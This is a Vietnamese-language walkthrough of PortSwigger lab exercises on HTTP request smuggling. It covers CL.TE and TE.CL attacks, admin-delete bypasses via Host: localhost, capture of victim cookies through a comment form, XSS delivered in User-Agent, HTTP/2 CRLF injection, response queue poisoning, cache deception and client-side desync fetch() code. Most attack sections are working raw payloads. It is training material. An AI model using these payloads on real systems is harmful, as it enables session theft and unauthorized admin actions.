Portswigger HTTP Request smuggling


Portswigger: HTTP Request smuggling:

HTTP request smuggling, basic CL.TE vulnerability

image

Yêu cầu: Làm cho server trả về lỗi “Unrecognized method GPOST”.
Gửi yêu cầu đầu tiên đến server:

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: 0a7d003e03334d1dc24b5a4f002f0071.web-security-academy.net
Connection: close
Content-Length: 10
Transfer-Encoding: chunked

3
aaa
0

G

Sau đó gửi một yêu cầu bình thường và lỗi sẽ triggered.

1
2
3
POST / HTTP/1.1
Host: 0a7d003e03334d1dc24b5a4f002f0071.web-security-academy.net
Connection: close
image image

HTTP request smuggling, basic TE.CL vulnerability

Cũng là kích hoạt lỗi “Unrecognized method GPOST”. Back-end không hỗ trợ chunked encoding nên sẽ là dạng TE.CL

Uncheck update Content-Length:
image

Gửi yêu cầu sau đến server sau đó gửi một request tùy ý.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0aa800e204010a8f810e48bf008000ff.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 4
Transfer-Encoding: chunked

5d
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

aaaa
0


image image

Giải thích:

  • Một yêu cầu POST sẽ hợp lệ nếu có trường Content-Type hoặc Content-Length hoặc Transfer-Encoding, ở đây mình thêm trường Content-Type: application/x-www-form-urlencoded để tránh đôi khi có lỗi nó không xét 2 cái kia, không thêm cũng được không quan trọng.
  • Ở đây như đề bài nói máy chủ back-end không hỗ trợ Transfer-Encoding: chunked nên chúng ta có thể để máy chủ front-end phân tích Transfer-Encoding: chunked và để cho máy chủ back-end phân tích Content-Length.
  • 5d hex = 93 decimal = dòng 1 + \r\n + d2 + \r\n +d3 +\r\n + d4 + \r\n + aaaa
  • Kết thúc chuỗi là số 0 và xuống dòng để máy chủ front-end phân tích Transfer-Encoding: chunked hợp lệ.
  • Sau khi máy chủ front-end phân tích, nó thõa mãn và gửi đến back-end. Máy chủ back-end chỉ phân tích trường Content-Length và ở đây chỉ bằng 4 và bằng 5d + \r + \n nên phần còn lại sẽ là một yêu cầu mới.
    1
    2
    3
    4
    5
    6
    GPOST / HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15

    aaaa
    0
  • Bây giờ nếu chúng ta gửi tiếp một yêu cầu nữa cùng chung một connection TCP nó sẽ trigger lỗi Unrecognized method GPOST. Và để được như vậy thì chúng ta cần set thêm trường Connection: Keep-Alive hoặc Connection: Pipelining tuy nhiên với HTTP/1.1 thì Connection: Keep-Alive luôn được bật trừ khi máy chủ set là close nên chúng ta cũng không cần thiết thêm vào (thêm cho chắc :P).

HTTP request smuggling, obfuscating the TE header

Ở đây ta sẽ gửi một cái TE hợp lệ và một cái TE không hợp lệ để obfuscate server. Gửi 2 lần yêu cầu sau để trigger lỗi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0a4c0057043adfc481d61c2b00c90078.web-security-academy.net
Connection: Keep-Alive
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: xxx

5d
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

aaaa
0


image

HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

Bài này front-end chỉ xử lý Content-Length –> CL.TE (chưa chắc nma theo đề thì z).
Yêu cầu là đính chính lại nó dính lỗi CL.TE bằng cách để yêu cầu thứ 2 là một yêu cầu trả về lỗi 404 not found.

Ở phần thứ 2 của request, ta có 2 cách để tạo một request hợp lệ:

  • Gửi một POST request, khi đó nếu có request khác gửi đến thì nó sẽ gắn vào phần body –> không bị lỗi 400
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    POST / HTTP/1.1
    Host: 0a72005104370d94c026137d00880058.web-security-academy.net
    Connection: close
    Transfer-Encoding: chunked
    Content-Length: 96

    0

    POST /aaa HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15


  • Cách 2 là sử dụng X-Ignore: abc, khi này phần sau request sẽ được gắn vào trường X-Ignore header và không gây ra lỗi 400.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    POST / HTTP/1.1
    Host: YOUR-LAB-ID.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 35
    Transfer-Encoding: chunked

    0

    GET /404 HTTP/1.1
    X-Ignore: X

Gửi request với payload trên, sau đó gửi một request bất kỳ để solve lab.

image image

HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

  • Back-end server doesn’t support chunked encoding
  • Triggering 404 Not Found response

Gửi 2 lần request sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0ab5007903cff13dc0551c8b0038003d.web-security-academy.net
Connection: Pipelining
Transfer-Encoding: chunked
Content-Length: 4

5F
POST /aaa HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

aaaa
0


Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

Gửi 2 lần request sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0a33008a039b2e88c01e9186008400ec.web-security-academy.net
Connection: Pipelining
Transfer-Encoding: chunked
Content-Length: 107

0

POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

aaaa


Kết quả trả về là Admin interface only available to local users, vậy là chúng ta cần truy cập đến admin page với host là localhost. Vì hiện tại server sẽ mặc định set cho ta host là 0a33008a039b2e88c01e9186008400ec.web-security-academy.net

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0a33008a039b2e88c01e9186008400ec.web-security-academy.net
Connection: Pipelining
Transfer-Encoding: chunked
Content-Length: 124

0

POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost
Content-Length: 100

aaaa


Payload cuối cùng:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0a33008a039b2e88c01e9186008400ec.web-security-academy.net
Connection: Pipelining
Transfer-Encoding: chunked
Content-Length: 124

0

POST /admin/delete?username=carlos HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost
Content-Length: 100

aaaa


Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

image

back-end server doesn’t support chunked encoding nên chúng ta có thể nghĩ đến TE.CL

Gửi 2 lần request sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0ad9007b0481dacfc155c02800b5002d.web-security-academy.net
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Length: 4

62
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

aaaa
0


image

Phản hồi thứ 2 trả về Admin interface only available to local users, để bypass ta có thể thử thêm trường Host: localhost

Gửi 2 lần request sau để solve lab này.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0a4800ce048b085f8658a298003e0031.web-security-academy.net
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Length: 4

8A
POST /admin/delete?username=carlos HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost
Content-Length: 100

aaaa
0


image image image

Exploiting HTTP request smuggling to reveal front-end request rewriting

Front-end server doesn’t support chunked encoding –> ý tưởng là CL.TE

  • Bài này tác giả bảo là có trường set IP cho client tương tự như X-Forwarded-For nên mình đã nghĩ đến X-Real-IP tuy nhiên gửi mãi không thấy kết quả gì. Hóa ra ý tác giả muốn bảo ở đây là thằng X-*-IP phần trong dấu * có thể tùy ý nên chúng ta cần tìm phần này. Để tìm được điều này chúng ta cần lợi dụng trường search.

Gửi 2 lần yêu cầu sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 0abe003e032e7439c04debfe00e5002f.web-security-academy.net
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Length: 150

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
X-Real-IP: 127.0.0.1
Connection: close

search=test


Phần yêu cầu sau sẽ được gắn vào sau thằng test và mình có thể thấy được nhờ trường search. Kết quả trả về như sau:

1
0 search results for 'test GET / HTTP/1.1 X-wvIzjI-Ip: 113.161.69.230 Host: 0abe003e032e7439c04debfe00e5002f.w'

X-*-Ip mỗi người mỗi khác nên các bạn phải tự tìm lấy nhé.

Sau khi biết được cái này rồi thì rất đơn giản, chúng ta chỉ cần set IP là 127.0.0.1 để truy cập vào admin panel.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0abe003e032e7439c04debfe00e5002f.web-security-academy.net
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Length: 167

0

POST /admin/delete?username=carlos HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
X-wvIzjI-Ip: 127.0.0.1
Connection: close


Exploiting HTTP request smuggling to capture other user’s requests

  • Lab này là dạng CL.TE
  • Tác giả có lập trình sẵn là khi chúng ta gửi một request thì máy chủ sẽ tự động gửi 1 resquest. Request này sẽ đóng vai trò như nạn nhân để chúng ta lấy cắp cookie và đăng nhập vào tài khoản này.
  • Ở đây để lấy cắp cookie chúng ta sẽ ghi request của nạn nhân vào form comment.

Request như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 0ad0007403ec1053c2015e9900e300b9.web-security-academy.net
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Length: 335

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 804
Connection: close
Cookie: session=bZxircTfhYYqDgnrRYKm0ZjKa9oBG0Ro; session=DZgoQAy5RcbsrSl2ZqZy8sBOvzS9wv68

csrf=KEAZJ4zHTUNek88CIDaZ0bTgQTE6hLbf&postId=8&name=aaaaa&email=abcd@gmail.com&website=http://aaa.com&comment=aaaa


Kết quả ở comment của trang https://0ad0007403ec1053c2015e9900e300b9.web-security-academy.net/post?postId=8:

1
aaaa GET / HTTP/1.1 Host: 0ad0007403ec1053c2015e9900e300b9.web-security-academy.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.121 Safari/537.36 Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US Cookie: victim-fingerprint=QVLNvEkz9U7FdHW1wG2VdkdjIlDHF2kw; secret=C8IQNP3JH0lVCJBAOGIAkgEOTM5UoNVp; session=A78w3rNuBBu22CGzS1IoyuLB821Yeeof

Có được cookie rồi chúng ta sẽ sử dụng nó để đăng nhập:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /login HTTP/1.1
Host: 0ad0007403ec1053c2015e9900e300b9.web-security-academy.net
Cookie: ictim-fingerprint=QVLNvEkz9U7FdHW1wG2VdkdjIlDHF2kw; secret=C8IQNP3JH0lVCJBAOGIAkgEOTM5UoNVp; session=A78w3rNuBBu22CGzS1IoyuLB821Yeeof
Content-Length: 72
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0ad0007403ec1053c2015e9900e300b9.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ad0007403ec1053c2015e9900e300b9.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

csrf=KEAZJ4zHTUNek88CIDaZ0bTgQTE6hLbf&username=admin&password=%C3%A1dhfj

Exploiting HTTP request smuggling to deliver reflected XSS

Đầu tiên zô trang /post?postId=7 để tìm cách trigger xss thông qua trường User-Agent.

image

Payload xss: User-Agent: aaa"><script>alert(1)</script>

Sau đó gửi request này để nạn nhân truy cập vào trang web sẽ bị trigger xss:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 0a91008204610813c02904da008000b8.web-security-academy.net
Connection: Keep-Alive
Content-Length: 158
Transfer-Encoding: chunked

0

GET /post?postId=7 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
User-Agent: aaa"><script>alert(1)</script>

aaaa

CL.0 request smuggling

image
1
2
3
4
5
6
7
8
POST /resources/images/blog.svg HTTP/1.1
Host: 0a3900610359a76482be1174009f008e.web-security-academy.net
Cookie: session=sIt0cbIhl02c97aPZzm1sZ49X7QOwWeP
Connection: keep-alive
Content-Length: 50

GET /admin/delete?username=carlos HTTP/1.1
x: abc
image

H2.CL

Test H2.CL, ta trigger được HRS với payload sau (Nhớ uncheck update content length):

1
2
3
4
5
6
7
POST / HTTP/2
Host: 0a1800ed04ab0887879e2eb3009a0029.web-security-academy.net
Content-Length: 4

aaaaGET /abc HTTP/1.1
Host: 0a1800ed04ab0887879e2eb3009a0029.web-security-academy.net
Foo: Bar
image

Khi request tới resource, ta thấy nó được chuyển hướng đến location như sau:

image

Thử sử dụng Host header để thay đổi location:

image image

Trong mã html, ta thấy nó có những thẻ script nhập mã js từ bên ngoài, vậy nếu ta giả mạo yêu cầu đúng lúc browser nhập mã js về thì ta có thể để browser nhập mã js chứa payload xss.

image image

Gửi một vài lần để bot truy cập và thời điểm browser của bot import mã js thì nó nhập mã js của ta.

image image

HTTP/2 request smuggling via CRLF injection

Thêm header foo: bar rồi chèn thêm CRLF và TE, trong body thêm giá trị tùy ý ta trigger được 404 not found
image

image

Ở trong trang search, ta thấy nó lưu lại lịch sử search của người dùng.

image image

Lợi dụng tính năng này để đánh cắp cookie của người dùng:
image

image

Gửi và đợi tầm 10s để bot truy cập:

image image

HTTP/2 request splitting via CRLF injection

Gửi request này 2 lần, ta trigger được 404 not found:
image

Chỉ với CRLF, ta có thể cắt request thành nhiều request khác nhau. Vậy bây giờ ta chỉ cần áp dụng kĩ thuật Response queue poisoning:

image

  • Ta sẽ queue request smuggle (request 2), sau khi người dùng request 3, server sẽ thực hiện và trả về response của request 2 cho phía nạn nhân và queue lại request 3.
  • Bây giờ ta chỉ cần gửi request 4 thì ta sẽ nhận được response từ request 3 của người dùng.

Sau một hồi không queue được, mình thử fix lại payload để server tự thêm \r\n thì mình đã bắt được request của admin:

image

Truy cập admin panel và delete user carlos:

image image

Response queue poisoning via H2.TE request smuggling

Front-end server doesn’t support chunked encoding. The front-end server is configured to cache certain responses.

Vậy ta sẽ sử dụng kĩ thuật CL-TE ở đây, kết hợp với cache poisoning.

image image

Trigger được 404 not found với payload sau:

image

Bypass double Host header:
image

image

Bây giờ ta cần tìm một sink để có thể chuyển hướng về trang chứa script xss, ở tính năng next post ta có thể redirect:

image

Ở phía server, yêu cầu sẽ không bị phụ thuộc vào trường host, nên dù có hay không thì nó vẫn request đến đúng địa chỉ server.

image image image image image image

Exploiting HTTP request smuggling to perform web cache deception

image

=> CL.TE

image

Trang web có thực hiện caching các file thường đa số người dùng đều nhập giống nhau như blog.svg hay tracking.js:
image
image

Vậy bây giờ ta smuggle các request nhập blog.svg hay tracking.js thì ta có thể truy xuất api key từ kết quả trả về được smuggle và lưu vào cache tương ứng với các file này.

Như ở đây, mình thực hiện smuggling request đến my account. Bây giờ request trả về ở những file khi bot request là response 302, nên gửi kiểu gì nó cũng trả về:
image

Vậy bây giờ chỉ cần cầu may cho bot request đúng lúc, ta có thể double cơ hội thành công bằng cách check cache của 2 file blog.svg và tracking.js
image

image

Kết quả:
image

Bypassing access controls via HTTP/2 request tunnelling

Connection timeout có nghĩa ta đã giả được host.
image

image

Request được downgrade trông như sau:

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Foo: bar
Host: abc
Content-Length: 200

search=x
some-internal-header: xxx
Host: abc
Content-length: 7

foo=bar

image

image
image
image
image
image
image

Client-side desync

Request đến / sẽ được redirect đến /en:

image

Gửi 2 request với chung connection ta được trả về 2 response:

image

Nếu ta thực hiện gửi trong browser với request 2 là một request bất kỳ thì response 2 do request /404 sẽ trả về ở request 2.
image

Test trên browser:

1
2
3
4
5
6
7
8
9
10
11
fetch('https://0acd00850382348282f40b8800320096.h1-web-security-academy.net', {
method: 'POST',
body: 'GET /404 HTTP/1.1\r\na: x',
mode: 'cors',
credentials: 'include'
}).catch(() => {
fetch('https://0acd00850382348282f40b8800320096.h1-web-security-academy.net', {
mode: 'no-cors',
credentials: 'include'
})
})

image

Browser chỉ trả về mỗi response cho mỗi request, do đó ta chưa thấy 404 ở đây.

image

Tuy nhiên nếu ta gửi tiếp một yêu cầu nữa thì 404 trả về cho fetch thứ 2:

image
image

Test với request comment:

1
2
3
4
5
6
7
8
9
10
11
fetch('https://0ad0005104751f1180db490d002d0023.h1-web-security-academy.net', {
method: 'POST',
body: 'POST /en/post/comment HTTP/1.1\r\nHost: 0ad0005104751f1180db490d002d0023.h1-web-security-academy.net\r\nCookie: session=RbiCFsRMKOANwQDqEBbH7J4Px0hw8Hpd; _lab_analytics=RXgpmFuGrXRwxeCPhqtzXcoPdTECdBr2TXfCUncCwVUGN5ock8H3FVR8PwpPguRzjZ7DZuQRi5dVaaO06abvpuXbi4qBOPWyM31HPPwFuzpmCWlWu4UtIlXZs9PM9cGtfL4n11wMuNUYOwnASLatFxzmNcx9BFLwllanIw1OvtxweZ3qQVUfJNmwtxJ1BnaH4bsYIs780ucZE5FiHdpROtCulXJzmEUERnUTD4bR4Eeb4njCNWUYlkHKE6DiiFix\r\nContent-Length: 700\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: keep-alive\r\n\r\ncsrf=9FHBQE0Og5LLEGNcV4yJTV1QhSRYz9sY&postId=8&name=a&email=a%40a&website=http%3A%2F%2Fa&comment=',
mode: 'cors',
credentials: 'include'
}).catch(() => {
fetch('https://0ad0005104751f1180db490d002d0023.h1-web-security-academy.net/', {
mode: 'no-cors',
credentials: 'include'
})
})

Bắt được thành công request thứ 3.

image

image

image

image
alt text

image
image
image

Response queue poisoning via H2.TE request smuggling

Server queue response nên ta có thể capture được response mà admin login trả về, từ đó lấy cookie của admin.

image

image

image

image